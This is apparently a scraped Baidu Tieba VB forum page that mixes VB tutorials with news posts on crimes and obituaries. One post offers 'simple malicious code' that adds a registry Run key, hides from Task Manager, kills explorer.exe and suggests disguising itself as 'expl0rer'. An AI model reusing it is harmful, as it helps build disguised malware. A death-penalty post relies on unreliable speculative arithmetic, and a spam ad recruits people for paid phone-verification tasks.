放飞希望，追逐梦想的个人资料

老顽童爷爷赵克明逝世据西安话剧院官方消息，著名表演艺术家、导演、一级演员赵克明因病于2025年10月4日15时55分逝世，享年93岁。赵克明，出生于1933年，山西省忻州市人。著名话剧表演艺术家，导演，一级演员。曾参演话剧《西安事变》《巍巍昆仑》《艰难时事》等。 1989年到1995年间，多次执导央视春晚小品。他扮演的儿童科幻电视系列剧《快乐星球》中的“老顽童爷爷”，深受广大观众喜爱，是许多80后、90后的“童年回忆”。此外，他还参演了《晚秋的旋律》《杨家将》《罄声悠扬》等多部电视剧。 “老顽童爷爷”一路走好。

黑龙江孕妇为夫猎艳案二审维持原判　　人民网佳木斯11月24日电 (陈静方圆)11月24日，黑龙江高院在佳木斯市对社会广泛关注的白云江、谭蓓蓓故意杀人、强奸、抢劫案件进行了二审公开宣判，维持一审判处白云江死刑、判处谭蓓蓓无期徒刑的刑事判决。　　法院审理查明，2013年5月，被告人谭蓓蓓怀孕期间，其丈夫被告人白云江获悉谭在与自己恋爱时，还曾与多名男子保持两性关系，二人因此关系恶化。谭蓓蓓产生寻找少女供白云江迷奸，以使白达到心理平衡之念。同年7月24日15时许，谭蓓蓓在黑龙江省桦南县文林街寻找作案目标时与被害人胡某某相遇。谭蓓蓓以腹痛需要帮助为由，将搀扶自己的胡某某骗至白、谭二人暂住处。白云江则以感谢胡某某的帮助为由，诱骗胡某某将事先掺入氯硝安定的一盒酸奶喝下。胡某某喝下酸奶后昏迷。白云江欲对胡某某实施奸淫，因胡某某正值经期及白云江的生理原因而未逞。白、谭二人恐罪行败露，产生杀害胡某某之念。二人采用以枕头捂口鼻的方法共同致胡某某窒息死亡并将尸体掩埋。　　另查明，白云江、谭蓓蓓还共同实施一起强奸犯罪(系犯罪中止)和一起抢劫犯罪(系犯罪预备)。　　白云江不服佳木斯市中级人民法院一审判决，向黑龙江高院提起上诉。　　黑龙江高院认为，一审判决认定的案件事实清楚，证据确实、充分，对白云江、谭蓓蓓的定罪准确，量刑适当，审判程序合法，遂作出二审判决，驳回白云江的上诉，维持一审判决，并依法报请最高人民法院核准。

从孝感到汉口的K919次车晚点严重吗买了8-13日06:37开的车，不知道会不会晚点

【Android反馈】不显示验证码图片来自：http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fxiangce.baidu.com%2Fpicture%2Falbum%2Flist%2Fd7c2f834fd5fcaf77e4deb2f8bcf21198c30bfff&urlrefer=4c4abf3f20bf7448e07d1dbaaac0b84b用UC浏览器就可以显示，但用客户端不行。

【求助咨询】06-03丨手机无法登录百度贴吧手机登录百度时，用掌上百度登录时，提示：请求处理失败！服务器返回内容错误！请稍后重试！用普通手机浏览器登录时，又提示：请输入验证码，但验证码那个图片框显示的是 wait...，不知道要输什么。怎么办？

电影《冰山上的来客》男主角病逝　　新疆著名电影演员，新疆排球专业队运动员、教练员，《冰山上的来客》男主角阿米尔，阿布都力米提昨晚因前列腺癌去世，享年74岁。　　8日凌晨，微博认证为“新疆体育职业学院团委书记学生处长”的网友“坚强的飞”在微博上透露，“新疆著名电影演员，新疆排球专业队运动员，电影冰山上的来客男主角——阿米尔，阿布都立米提先生于昨晚北京时间九时去世，享年！74岁。”新浪娱乐致电阿米尔-阿布都力米提先生生前领导、新疆体育局副局长翟兰朝，确认了阿米尔-阿布都力米提的死讯。他透露，阿米尔-阿布都立米提因前列腺癌症晚期去世，去年八九月份曾经开过了一次刀，但没想到病魔不到一年后再度降临。　　据翟副局长介绍，阿米尔-阿布都立米提原是新疆排球队的运动员，之所以饰演《冰山上来客》的男主角，是因为有一次导演上街看到他，觉得这小伙子长得很高魁梧帅气，就选了他当演员。值得一提的是，阿米尔-阿布都立米提是维族人，但在《冰山上的来客》中，他饰演的是塔吉克族人。　　另据翟副局长介绍，阿米尔-阿布都立米提的生平比较简单，在参演过《冰山上的来客》后，又零星演了一些片子，还当过群众演员。而在不当演员后，他又干回了排球的老本行，还曾担任新疆排球队教练员。(弥尔)

Visual Basic入门教程之一　　我们需要什么？当我们在一个精彩的游戏世界中游历了一番之后，或是惊叹于某一工具软件的小巧精致之余，多少总会产生些许编程的冲动。编程吗，在以前如果你对电脑还是一个门外汉，那实在是一件可望而不可及的事情。如果运用基于DOS下的编程语言，譬如C、Qbasic、Pascal等等，真不知何年何月才能有所成就。　　编程是需要天赋的，你必须在大脑中对整个程序有一个清晰的轮廓，一个高效的流程，这并不是每个人都能做到的，你必须思之慎之，这也使编程变成一件最枯燥无味的事情。但在第四代计算机语言（可视化编程）出现后，可以确切的说它开发了人们的更多天赋，并不局限于那些头脑异常清晰的人，每一个人都可以发现自己也可以编出一些从前不敢问津的程序，想象力的充分发挥才是第四代语言的精粹。　　VisualBasic（以下简称VB）可以说是可视化语言的先驱了，而且它也是可视化程度最高的一个，从几年前VB诞生之日起到现在，它已经经历了五个版本，而且现在微软正在紧张的进行着VB6.0的研制、测试，这么高的更新率，不外乎说明两个问题：用户对VB的热衷，微软对VB的重视。不可否认微软对市场的预测能力是极为高明的，而它强大的技术、财力支持也使它在许多以前未进入的领域，在不长的时间内有成为最有力的竞争对手，如IE之于浏览器领域，《帝国时代》之于游戏都是最好的例证。对于VB现在也有一个很强的竞争对手DDDelphi，有人把它称作VB杀手，这显然有偏激之处，VB的确有它的不足之处，但Delphi又何尝不是呢，而且以微软对VB的倾心，VB的功能必然会越来越强大。 VB的诞生　　VB的出现可以说是MicrosoftWindows的日渐成熟的必然产物。MicrosoftWindows为程序员和最终用户提供了一个共同的人机界面。对用户，Windows提供了一个图形鼠标的操作环境，该环境对所有的应用程序都一样；对于程序员，Windows提供了一组预定义工具----称之为MicrosoftWindows的软件开发工具箱（SDK），该工具能使程序员建立一个与Windows界面相同的应用程序，而且，程序员不必关心最终用户的硬件配置情况。在这一开发环境中，程序员唯一困难的是MicrosoftSDK提供了六百多个函数和与其一致的事件驱动（event-driven）编程技术。两种新方法的交叉使众多的程序员重新陷入困境，程序员不仅要掌握程序驱动编程技术和六百多个函数的功能，而且还得用C语言描述这些问题。因此一般情况下，程序员首先要掌握C程序设计技术，而后再开始学习SDK。这样的条件下就要求在Microsoft多任务环境下出现一种操作方便，使用简单的新工具－－－－VisualBasic由此诞生。何为可视　　英文Visual的意思是“视觉的”，“可视的Baisc”这个名字可能抽象了点，但实际上它却是最直观的编程方法，之所以叫做“可视”，你只要看到VB的界面就会明白，实际上你无需编程，就可以完成许多步骤。在VB中引入了控件的概念，在Windows中控件的身影无处不在，各种各样的按钮、文本框、无线钮，都是控件的种类，VB把这些控件模式化，并且每个控件都有若干属性用来控制控件的外观，工作方法。这样你就可以象在画板上一样，随意点几下鼠标，一个按钮就完成了，这些在以前的编程语言下是要经过相当复杂的工作的。　我的希望：　　我在学习VB的过程中也曾遇到了许多困难，而且用的参考书大都来自译文，毕竟美国人和中国人的表达方式有所不同。这也造成了理解上的困难，所以我想为什么我不能写一个给中国人看到VB教程呢，于是我这么做了。也曾经在杂志上发表过几篇用VB制作小程序的文章，但受杂志的限制（篇幅、内容等等）（我得听小编的），总没有一个机会系统的介绍一下VB，造成了小小的遗憾。不过，我自己的主页建好后，终于这个愿望可以实现了，利用HTML可以方便的把文字与图片结合起来，不失为一个教学良所，也希望能够得到大家的支持。　　希望“VB教程”能给你我一个互相学习的机会，如果你能从中获益那将是我最大的快乐，那时你一定会发现编程比游戏有趣得多

【月饼】帮助得种子有上限吗是不是有上限啊？记不清帮助多少人了，大概几十个好友后就不再给月饼了，只提示“帮助成功”

连续签到30天ID高亮，为什么有的吧没有有的吧连续签到30天以上了，但没有高亮，这是为什么啊

连续签到30天即可ID高亮 RT，为什么VB吧没有？我已经连续签到45天了

【消息】吧友等级达到12级时可以... 吧友等级达到12级时可以删除自己的主题贴和自己贴子中的吧友回复，意见吧已经开始讨论了，您赞成还是反对？

【奥运】日本代表团不见了这届奥运会无厘头乌龙事件层出不穷，近日，日本网友惊爆开幕式日本代表团走了半圈就又带出场馆，无缘见证奥运点火仪式，奥运无厘头日本开幕式退场，**时惊呼：日本代表团不见了!

【公告】严厉打击使用外挂刷金币及经验 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fsobar.soso.com%2Ft%2F90795752&urlrefer=0d622bd8ce9f2ecf1b0db726991e2882

空当接龙工具，可以解出99%的牌局在XP系统的100万局中，除了-1、-2、11982、146692、186216、455889、495505、512118、517776, 781948等牌局被软件证明无解外，其余都可解开。

今天又用VB赚了100 一道VB题，100RMB到手图中有代码

学VB也可以赚钱，

明天到操场操到天明明天到操场操到天明

百味轩时尚茶楼转让　　百味轩食尚茶楼是以中西餐饮、咖啡名茶、棋牌娱乐、商务洽谈为一体的综合性休闲场所。位于孝感市城站路百佳豪庭二楼，文化氛围浓厚，内饰古朴典雅、风格迥异，既有古典韵味又不失现代都市生活的风格，独具朴素、典雅、内敛的独特魅力。茶楼内设卡座、大中小包房，属于实惠茶楼，是您聚会、聊天、休闲、娱乐的理想去处！　　由于老板要去外地发展，特将经营中茶楼转让，价格面议，有意者上门面谈。　　地址：城站路百佳豪庭四季假日大酒店二楼　　联系人：寇经理

为什么我无法创建俱乐部和申请加入俱乐部 RT，可以正常发贴回贴，就是创建不了俱乐部，提示我暂时不能创建俱乐部，连申请加入也不行。请客服快点帮忙解决

窗体透明代码一楼防抽

韩国暂停死刑12年，杀人案件发案率上升32% 连环杀人犯姜浩淳残忍的杀人行径被曝光后，人们纷纷提议应恢复死刑。在各大门户网站可以看到“执行死刑，预防下一个姜浩淳”、“对连环杀人犯应恢复死刑”等诸多“愤怒”的留言。此次事件的受害者家属也愤怒地表示：“如果不对姜浩淳执行死刑，我们绝不罢休。” 韩国在1997年12月金泳三政府时期对23名罪犯执行死刑以后，已有12年没有执行死刑，被纳入“实际上已废除死刑的国家”行列。目前，被判处死刑后正在服刑的犯人共有58人，被判处死刑后减刑为无期徒刑的有19人、死亡３人。但法律界认为，目前已经无法恢复死刑。法务部有关负责人表示：“2004年柳永哲事件和2006年郑南奎事件时，提议恢复死刑的舆论势头很强，但仍未能阻止停止执行死刑的趋势。由于围绕死刑制的存废问题一直存有争议，恐怕不能因为姜浩淳事件而恢复执行死刑。” 但统计数据显示，停止执行死刑后杀人犯数量有所增加。1994年至1997年执行死刑的4年里，平均每年有607人因杀人罪而被起诉，但在暂停执行死刑的1998年至2007年10年里，平均每年有800人因杀人罪而被送上法庭，杀人犯增加了32%.因此，法律界提议引入终身刑来代替死刑制。＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝为了暂停死刑的名称，可能少杀了不80人（58+19+3），但却增加了2316名杀人犯（＝12*（800-607）），假如每名杀人犯平均杀害1.1人（有的一人就杀七八个甚至更多），则2316名多出来的杀人犯一共多杀了2547人。此外这些仅是被抓的杀人犯所涉的刑。我们假定韩国的破案率非常高，达到90%（有没有？呵呵），还有约257名多出来的杀人犯潜逃。那么多出来的杀人犯一共将多杀2547/0.9＝2830人。也就是说暂停死刑在12年间多造成不少于2830人被杀。为了换取“好名声”，少杀80名杀人犯，却多死了不少于2830名无辜者，另外多使2316名本可以悬崖勒马的人成了杀人犯被判重刑（尽管不是死刑），还多出257个惶惶不可终日的未被破案的杀人犯。少杀80人（这80人还是要坐牢），多2830人被杀，多2316人被判重刑，多257人杀人后虽不被抓惶惶不可终日。从死亡人数来说： 80大还是2830大？从所有受害者来说： 80大还是80+2830+2316+257＝5483大（注80人还是要坐牢）？废除死刑不仅对受害者很残忍，而且对潜在的杀人犯也并不仁慈。本来有2573人不用成为杀人犯的却成了，你说2573个家庭就此毁了。其中2316名被抓重判，257人虽不被抓但整天提心吊胆的。＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝死刑一旦废除即很难恢复。各位无权无势无能力养狗腿子不敢收买黑社会不敢出钱买人头的草民们，为了你和你家人、后代的安全，千万不要支持什么废除死刑的鸟主意。

限制文本框长度一楼防抽

沈书记，一路走好看完了《永远的忠诚》，我很感动，为沈浩同志的英年早逝感到悲伤，中国如果能多几个像沈浩那样的好官，那才是百姓之福啊！

手机验证任务手机验证任务，需要手机收取验证码（收验证码是免费的），1元/个，做的加554282549

18岁少年撞伤人后无钱赔偿，以自杀抵债这个案子与药家鑫截然相反，药家鑫撞人后杀人，而这位少年却选择了自杀。

张妙的死，是国家的重大损失　　中国为有这样的人才感到骄傲和自豪，为他英年早逝感到悲伤，全国人民对凶手的不法行为感到无比的愤慨。现在凶手已经伏法，张妙你也可以瞑目了。　　张妙同志永垂不朽

药家鑫在牛奶中掺三聚氰胺害死那么多人，就是死一万次也不为过 RT

建议张家为张妙申报烈士称号望有关部门授予张妙为革命烈士

Visual Basic常用术语释义项目(Project)：是用户创建的文件**，这个**包括用户的Windows 应用程序。控件(Control)：是Toolbox窗口中用户置于窗体上的工具，用于配合用户控制程序流程。代码(Code)：是所写的编程语句的另一个名字。像素(Pixel)：代表图形元素，表示监视器上最小的可寻址的图形点。全局变量(Global Variable)：就是在整个模块内或整个应用程序内均可使用的变量。函数(Function)：是一个例程，接受零个、一个或多个参数并根据这些参数返回一个结果。死循环(Infinite Loop)：是一个永不终止的循环。语法错误(Syntax Error)：是由于拼错一条命令或使用不正确的语法引起的一种错误。消息框(Message Box)：是为向用户提供信息而显示的对话框。循环(Loop)：就是一组重复执行的程序指令集。赋值语句(Assignment Statement)：是用来给控件、变量或其他对象赋值的程序语句。结构化程序设计(Structured Programming)：是一种程序设计方法，用它来把长程序分成几个小过程，尽可能分得详细一些。调用过程(Calling Procedure)：是触发其他过程执行的过程。被调用过程(Called Procedure)：是由其他过程调用的过程。标准函数过程(Standard Function Procedure)：是一个独立的非事件过程，当被其他过程调用时，它完成一定的工作并返回一个值给调用者。标准子程序过程(Standard Subroutine Procedure)：是一个独立的非事件过程，当被其他程序调用时，它完成一定的工作。引用传递(By Reference)：是一种传递值并允许被调用过程修改这些值的方法。它也叫做通过地址传递(By Address)。值传递(By Value)：是一种传递值并保护调用过程的传递数据，因而被调用过程不能改变此数据的方法。编辑掩码(Edit Mask)：是一个格式字符串，例如“#，###，##”，它指定怎样显示数字和字符串数据。

药家鑫列传　　药家鑫者，长安人也。其父为兵械督军，副总兵职。鑫幼家境殷实富足，常恃父威，骄横无度，目无路人，往来者敢怒不敢言。鑫乃单传，其父甚爱，车骑美女恣鑫所欲，以顺适其意。鑫少好抚琴，求功名为显达，天朝五十八年，借祖势入长安乐府。以鑫之力，不问学问，自不入流，然鑫自仗财广，弗忧前程，游手市井，作乐无常。　　长安东，有蛮语译馆，多有貌女，鑫常流连其中，乐不思蜀。天朝六十一年秋分逾一月，鑫与女戏玩至三更，多饮酒，大醉乘骑而归。　　长安一农妇，王张氏，嫁于同乡，生有一子，襁褓待乳。王张氏家境贫寒，常夜深弃之，为工资家用，食仅果腹。　　鑫骄横日惯，自是天下人避我，我不避天下人，是日夜急行，见前有妇人，视为无物，乘骑如常，终至妇倒。　　妇仆于道中，气息尚存，念家中小儿，哀鑫救之。鑫恐授人以柄，始惧，邪遂起，欲死之。鑫返车取刃，立于妇身。一刃，血出。一刃，仍未毙，又刃至八，方卒。鑫窃走，以为不知。　　鑫恐慌，乘骑速更甚，又至二人伤。民怒合力擒之，交官府，案始发。　　其父散财求京城讼师，诡辩鑫激情杀人，少学品优，以求不死。更有刑部翰林，上书鑫乃抚琴，无意伤人。　　为富不仁者甚矣，至众怒，民呼速死，而抚琴惯性亦载入籍册，止增笑耳。　　天朝六十二年端午次日，上准，斩鑫于长安。　　太史公曰：药家鑫者，恃其父威，于法不顾，终毁其身，而“吾父乃李刚”者，亦如此。官二代之风存之已久，整治无道，如此以往，天下何以太平。

在VB中插入Gif动画先引用 ActiveMovie control type library 在窗体上放一个图片框Picture1 代码： Option Explicit Private pMC As FilgraphManager '定义pMC为FilgraphManager对象 Private pVW As IVideoWindow '定义pVW为IVideoWindow对象 Private Sub Form_Load() Me.ScaleMode = 3 Picture1.ScaleMode = 3 On Error Resume Next Set pMC = New FilgraphManager pMC.Stop pMC.RenderFile "" '加载GIF文件 On Error GoTo Lhandle pMC.RenderFile App.Path & "\图片.gif" '加载GIF动画（图片） On Error Resume Next Set pVW = pMC pVW.WindowStyle = CLng(&H6000000) '限定动画在Picture1的大小中 pVW.Left = 0: pVW.Top = 0 Picture1.Width = pVW.Width Picture1.Height = pVW.Height pVW.Owner = Picture1.hWnd '在Picture1中显示 pVW.MessageDrain = Picture1.hWnd '此行非常重要，用来定义动画的右键菜单所必须 pMC.Run Exit Sub Lhandle: MsgBox "加载文件错误！" End Sub

假如当初药父这样做，事情会不会有转机如果在案发后，药父能拿出点诚意来，拿出50W去张家负荆请罪，尽最大努力取得张家的谅解，事情会不会出现转机呢？根据法律规定，获得被害人谅解可酌情从轻处罚。如此看来，是药父把儿子害了，药父一次张家都没去过，也不赔偿，把小药可能获得死缓的一丝希望击碎了。

药家鑫伏法受害人张妙丈夫欲给陕西省高院送锦旗　　人民网北京6月7日电（记者赵艳红）经最高人民法院核准，故意杀人罪犯药家鑫今日上午在陕西省西安市被依法执行死刑。该案受害人代理律师张显刚刚向记者表示，凶手受到了应有的惩罚，受害人张妙的丈夫王辉明天将去陕西省高院和检察院送锦旗。　　2011年4月22日，陕西省西安市中级人民法院以故意杀人罪判处被告人药家鑫死刑，剥夺政治权利终身。宣判后，药家鑫提出上诉。陕西省人民检察院认为该案事实清楚，证据充分，建议二审驳回上诉，维持原判。陕西省高级人民法院经依法审理，于5月20日依法作出裁定，驳回药家鑫上诉，维持原判，并依法报请最高人民法院核准。　　“这是本案应有的结果。药家鑫所犯下的罪行，就应该受到法律的惩罚。也希望通过此案，大家更懂得珍惜生命，尤其不能藐视他人生命。”张显向记者表示。　　张显称，他也是中午看新闻得知药家鑫被执行死刑的消息。随后便打电话给受害人张妙的丈夫王辉。由于正是农忙时期，王辉正在田里收麦子种玉米。他告诉张显，明天上午将去陕西省高院和检察院送锦旗。等农忙结束了，再下葬妻子张妙的遗体。

药家鑫判死刑后，以后无人敢犯罪，恐怕恐怕JC要失业了

还有几天就要高考了童鞋们都准备好了吗？我局祝所有考生们考试顺利这次高考题目不难哦

【源码分享】ListView的数字排序

VB编了个打字游戏游戏开始后，从屏幕顶端随机向下掉落字母，用户必须按相应的键将其炸掉。如果用户没有炸掉字母，字母会一直落入底端攻破防线，当底端的一层防线被全部攻破时，游戏结束。打满100个字母后游戏升级，随着级别的提高，字母下落的速度也会越来越快。

药被判死刑，以后谁还敢犯罪？

药家鑫二审肯定维持原判，如果…… 如果不是，我爆果照不知道药家鑫此时正在想什么，不过有一点他一定知道，这里将是他人生的终点，丧钟正为他隆隆敲响。

药家鑫案二审将于20日上午开庭　　华商网讯备受关注的药家鑫案二审将于5月20日上午8点在陕西省高院开庭审理。　　5月17日今日下午，药案原告代理人张显在博客上透露“今天下午陕西高院通知王辉：药家鑫案二审定于5月20日上午8点开庭 ”。随后华商网记者致电药案相关辩护律师，进一步确认二审将于5月20日上午8点在省高院开庭。　　另外据华商网记者了解，二审药家鑫将增加一名辩护律师。　　药家鑫案2011年3月23日一审后择日宣判，4月22日法庭宣判药家鑫死刑，4月28日药家鑫提出上诉。

Visual Basic Print方法基础学习本文介绍了Visual Basic Print方法的调用格式和功能。格式：[对象.]Print[表达式表][，l;] 功能：Print方法可以在相应的对象上显示文本和表达式的值。说明： (1)“对象"可以是窗体(Form)、图片框(PictureBox)、打印机(Printer)或立即窗口(Debug)。如果省略了“对象"，则是指窗体。 (2)“表达式表”是一个表达式或多个表达式，可以是数值表达式或字符串。对于数值表达式，Print具有计算和输出双重功能;而对于字符串，则原样输出。如果省略了“表达式表”，则输出空行。 (3)当输出多个表达式或字符串时，各输出项之间可以用逗号或分号隔开，也可以用空格。如果输出的各表达式之间用逗号分隔，则按标准输出格式(以1 4个字符位置为单位把一个输出行分为若干个区段)显示数据项。如果各输出项之间用分号分隔，则按紧凑输出格式输出数据，即数值与数值之间空一格，字符串之间没有空格。 (4)不换行输出。如果Print末尾没有标点(逗号或分号)，则自动换行。如果Print末尾有逗号或分号则不换行，即下一个Print输出的内容将接在当前Print所输出的信息的后面。

VB几种不同的隐藏方法原帖及讨论：http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fbbs.bccn.net%2Fthread-183341-1-1.html&urlrefer=49a59c294e44629e48e20900cd4ed1c3 */ ----------------------------------------------------------------------------- */ 出自：编程中国 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.bccn.net%2F&urlrefer=40aacd4225b82f93cf36a7439a8cc2e2 */ 作者： AV终结者 QQ：535843194 */ 时间： 2007-11-4 编程论坛首发 */ 声明：尊重作者劳动，转载请保留本段文字 */ ----------------------------------------------------------------------------- 第1种-关闭后到像迅雷一样隐藏 Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer) Cancel = True Me.Hide End Sub _____________________________ 第2种-直接隐藏 Form1.Visible = False _____________________________ 第3种-在任务管理器应用程序中隐藏 App.TaskVisible = False _____________________________ 于是就可以编写一个简单的恶意代码 Private Sub Form_Load Set w = CreateObject("wscript.shell") w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" '导入注册表,实现开机自动运行 Form1.Visible = False App.Taskvisible = False Shell "taskkill /f /im explorer.exe ", vbHide '结束explorer.exe进程 Open "c:\windows\$$$.bat" for Append As #1 Print #1 , "@echo off" Print #1 , "echo 恭喜你中毒" Print #1 , "echo. & pause" close #1 x = shell("c:\windows\$$$.bat") ....... '这里不讨论这个问题,自由发挥,最后把文件名改为expl0rer等 End Sub

进吧必读 1、所有用户在本吧的发言都必须遵守法律和百度贴吧用户协议的规定，限制您的是为了更多人的自由。 2、本吧分类为技术类贴吧，讨论的主题为计算机编程技术。但本吧并不限制内容，您可以畅所欲言。但不许超出第1条的范畴。 3、你有任何不懂的问题可以发出来，你写的代码运行时出错，建议把代码也一同发出来，我给你看看，尽量帮你解决。 4、我会竭诚为大家服务，努力建设好chengd222吧

新手真正需要的VB入门书看到VB吧里的问题，忍不住想对新手们说两句： 1.少问点，多查点；少查点，多想点；少想点，多实践。每个人都有脑子，如果真的想不出，网络资源也不是没有，不要拿Form是什么之类的问题出来给我们丢脸。 2.读完入门书再进VB吧闯荡，把基础的对象搞清楚，不要VB的IDE都没见过。 3.英语学好，看见代码（别人给的也算）里的生词去查一查……例如Class、Sub是什么意思，我保你下次写代码决不会把Sub放到Class外面。 4.不要把问题全部推给别人，比如别人帮你把大问题转化为小问题时记得想一想，而且不要伸手就要全篇代码，完整源文件……这样很容易让人认为你是应付考试的。 5.拿到代码思考一下，这段代码是什么意思？可以有其他作用吗？把一个方法前面的.重新输入，看看还有什么方法可以调用？其他方法又是什么意思呢？不要什么东西都不想。我妈是教化学的，每次辅导学生，问：“24.6升的酒精含有1mol的分子，是吧？”学生想都没想就嗯了一声，其实是错的。思考才是最重要的！ 6.这类劝学的帖子海了去了，但我希望能起点作用！

放一个原创脚本解释引擎 IndeXcript 【开源】源代码、Bin 文件及示例脚本下载地址： http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fcode.google.com%2Fp%2Findexcript%2Fdownloads%2Flist&urlrefer=f25fc267cce8b6b2695a7268598268bb

上海快递员捅伤5保安 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fnews.163.com%2F11%2F0512%2F15%2F73S641K000014JB5.html&urlrefer=7006684afbf0a26cfd2fda9733ae8e24 我说啊，你给别人送快递带什么刀啊？难道是跟药家鑫学的？保安让你登记一下，你不登记拿刀就捅啊。

写在本吧的开篇　　VB吧2011年5月12日正式成立，欢迎VB爱好者光临。　　本吧用来探讨、学习VB知识，只要不涉及版权，欢迎用户把好的代码发上来。有什么问题可以在此提出，我可以帮你答疑解惑。

【源码分享】ListView的数字排序 ListView的默认的排序功能都是按照字符串顺序排的，那样对数字顺序时，如果升序排列，9会排在10的后面。如何让数字或日期正确排序，用API和循环语句可以实现。代码如下： Option Explicit Private Declare Function LockWindowUpdate Lib "user32" (ByVal hWndLock As Long) As Long Private Declare Function GetTickCount Lib "kernel32" () As Long Private Sub Form_Load() '向ListView注入三列数据，第二列为数字，第三列为日期。 With ListView1 .View = lvwReport .ColumnHeaders.Add(, , "String").Tag = "STRING" .ColumnHeaders.Add(, , "Number").Tag = "NUMBER" .ColumnHeaders.Add(, , "Date").Tag = "DATE" .ColumnHeaders(1).Alignment = lvwColumnLeft .ColumnHeaders(2).Alignment = lvwColumnRight .ColumnHeaders(3).Alignment = lvwColumnCenter Dim l As Long Dim dblRnd As Double Dim dteRnd As Date With .ListItems For l = 1 To 1000 With .Add(, , "ListItem " & l) dblRnd = (Rnd() * 10000) - 5000 dteRnd = (Rnd() * 1000) + Date .ListSubItems.Add , , Format(dblRnd, "0.00") .ListSubItems.Add , , Format(dteRnd, "yyyy-m-d") End With Next l End With End With End Sub Private Sub ListView1_ColumnClick(ByVal ColumnHeader As MSComctlLib.ColumnHeader) On Error Resume Next Dim lngStart As Long lngStart = GetTickCount

药家鑫上诉期已过，药没有上诉案件将报陕西高院启动二审程序。 PS:根据最高院的司法解释，不管被告是否上诉，都必须启动二审程序，二审也应当开庭审理。

药家鑫唯一的免死办法二审时，如果药家向法院提出“精神病”司法鉴定，如果法院采纳、并确定了药八刀为精神病患者，为限制民事行为能力人，就可免其一死。可是，法院会采纳吗？期待二审……

药家鑫用生命赎罪警醒世人 22日上午，西安市中级人民法院对药家鑫故意杀人案作出一审判决，以故意杀人罪判处药家鑫死刑，剥夺政治权利终身，并处赔偿被害人家属经济损失45498.5元。（4月23日新华网）药家鑫故意杀人案在历时半年的侦查审理后，药家鑫一审因杀人灭口被判极刑。无视伦理、挑战法律的药家鑫罪有应得，彰显了社会公平，是法治的必然，体现了法律的尊严。尽管此案尚有二审和最后的复核核准程序，但法院的公开审理和舆论的热议围观，已经使此案成为一堂全民教育课。从社会舆论交锋到法官依法裁定，药家鑫案在法庭内外备受社会瞩目。公众在这一案件上各抒己见、明辨荣辱，也是社会法庭对此案进行的道德拷问。剖析药家鑫的犯罪动机、究其社会根源，人们从中可以得到很多的警示与启迪。严惩药家鑫是普法守法的法治教育课。纵观此案的审理过程，要不要给予药家鑫悔过自新的机会成为案件争议的焦点。法官依据犯罪事实和法律规定，对以“激情杀人”、“初犯偶犯”、“有自首情节”为由的从轻处罚辩护，义正辞严地说不，既维护了国家法律的严肃性，也廓清人们对诸多法律规定的误读和认知歧义。药家鑫被判极刑告诉人们，在法治社会里，任何人都必须对自己的违法犯罪行为承担其应有的法律和道德责任，谁也不要指望通过各种手段逃脱或减轻处罚。此案生动地诠释了“一失足成千古恨”这句话。一些人为一念之差酿下苦果，可并不是所有的过错都有改正的机会，药家鑫以生命的代价赎罪，警示着国人。严惩药家鑫是珍重生命的人性教育课。反思药家鑫把交通肇事激化为故意杀人的心路历程，错上加错的理由竟是缘于伤者记住了自己的车牌号码，竟是“农村人难缠”的偏执歪理，其泯灭人性、漠视生命的畸形病态昭然若揭。更为可怕的是，在物欲横流、道德滑坡的当下，持这种心态的人绝非个例。且不说制贩有毒食品的无良商家的图财害命，前不久在上海发生的留学生在机场向母亲连刺九刀的恶性事件，缘由竟是母亲未满足其索钱的要求。药家鑫无故残害一个仅有26岁的年轻母亲，而且是连捅8刀，其心狠手辣令人发指。此案再次警示人们，生命诚可贵，加强对社会尤其是年轻一代珍重生命的人性教育势在必行，刻不容缓。严惩药家鑫是对个人主义、金钱至上心理的警示课。责任缺失、心浮气躁是当下中国的社会通病。纵观此案，驱使药家鑫肇事后杀人灭口的心理动因是其逃避为过错买单的责任，是交通肇事伤人有可能对其家庭造成的经济负担和对自己“前程”的负面影响。正是这种事事以“自我”为核心，处处以“金钱”作考量的极不负责的浮躁心态，促成了其万劫不复的一念之差。药家鑫在举起屠刀时，不曾想到此举对受害人及其家庭造成的巨大痛苦，更未曾料到自己会为逃避责任付出生命的代价。此案警示国人，“我为人人，人人为我”才是社会和谐的至高境界。每个人既为社会的一份子，就应当担负一定的社会责任，凡事多一些冷静思考，少一些浮躁冲动，多一份责任担当，少一丝自私自利，社会就会多一些幸福与安宁，少一些痛苦与遗憾。有人说，智者以别人的惨痛教训警示自己；愚者用自己的沉重代价唤醒别人。愿人们从药家鑫咎由自取案例中得到活生生的人格教育和心灵洗礼，做头脑清醒、警钟长鸣的“智者”。

药家鑫案死者张妙丈夫称赔偿太少会考虑上诉　　针对法院判决结果，记者第一时间电话采访了死者张妙的丈夫王辉。　　王辉表示，对判决结果并不满意，“我坚决要求判他死刑，而且要立即执行”；4万多元的经济赔偿“给得太少”，以后会考虑要求增加赔偿。　　对判决结果不满意　　22日15时许，记者拨通了张妙丈夫王辉的电话。　　已经知道审判结果的王辉并没有一点的释然，相反，电话那端的王辉声音显得特别低沉。他说对审判结果并不是很满意。　　王辉说，在审判现场，药家鑫的父母一直没有出现。而药家鑫自始至终一直表现冷淡，“就是听到宣判结果，他也面无表情”。说到这里，王辉更是情绪激动地说，“我真恨不得上去揍他”。　　部分网友表示很同情药家鑫，希望可以给他一个机会，从轻判决。　　对此，王辉态度坚决，表示不可能，“我坚决要求判他死刑，而且要立即执行”。　　“妈妈是不是让别人杀了？” 　　药家鑫一审判决结果出来后，很多人都松了一口气。但更多人担心的是张妙两岁半的儿子以后该如何生活。这也正是王辉所担心的。提到儿子，王辉的声音有些哽咽，他说孩子一直吵着要找妈妈。更让王辉难过的是，仅仅两岁半的儿子某天忽然问他：“妈妈是不是让别人杀了？” 　　王辉说，自己不知道该如何回答孩子，也怕对孩子幼小的心灵产生影响，“孩子太小，他妈妈的事情不知道怎么和他解释”。　　给儿子盖一个农村的房子　　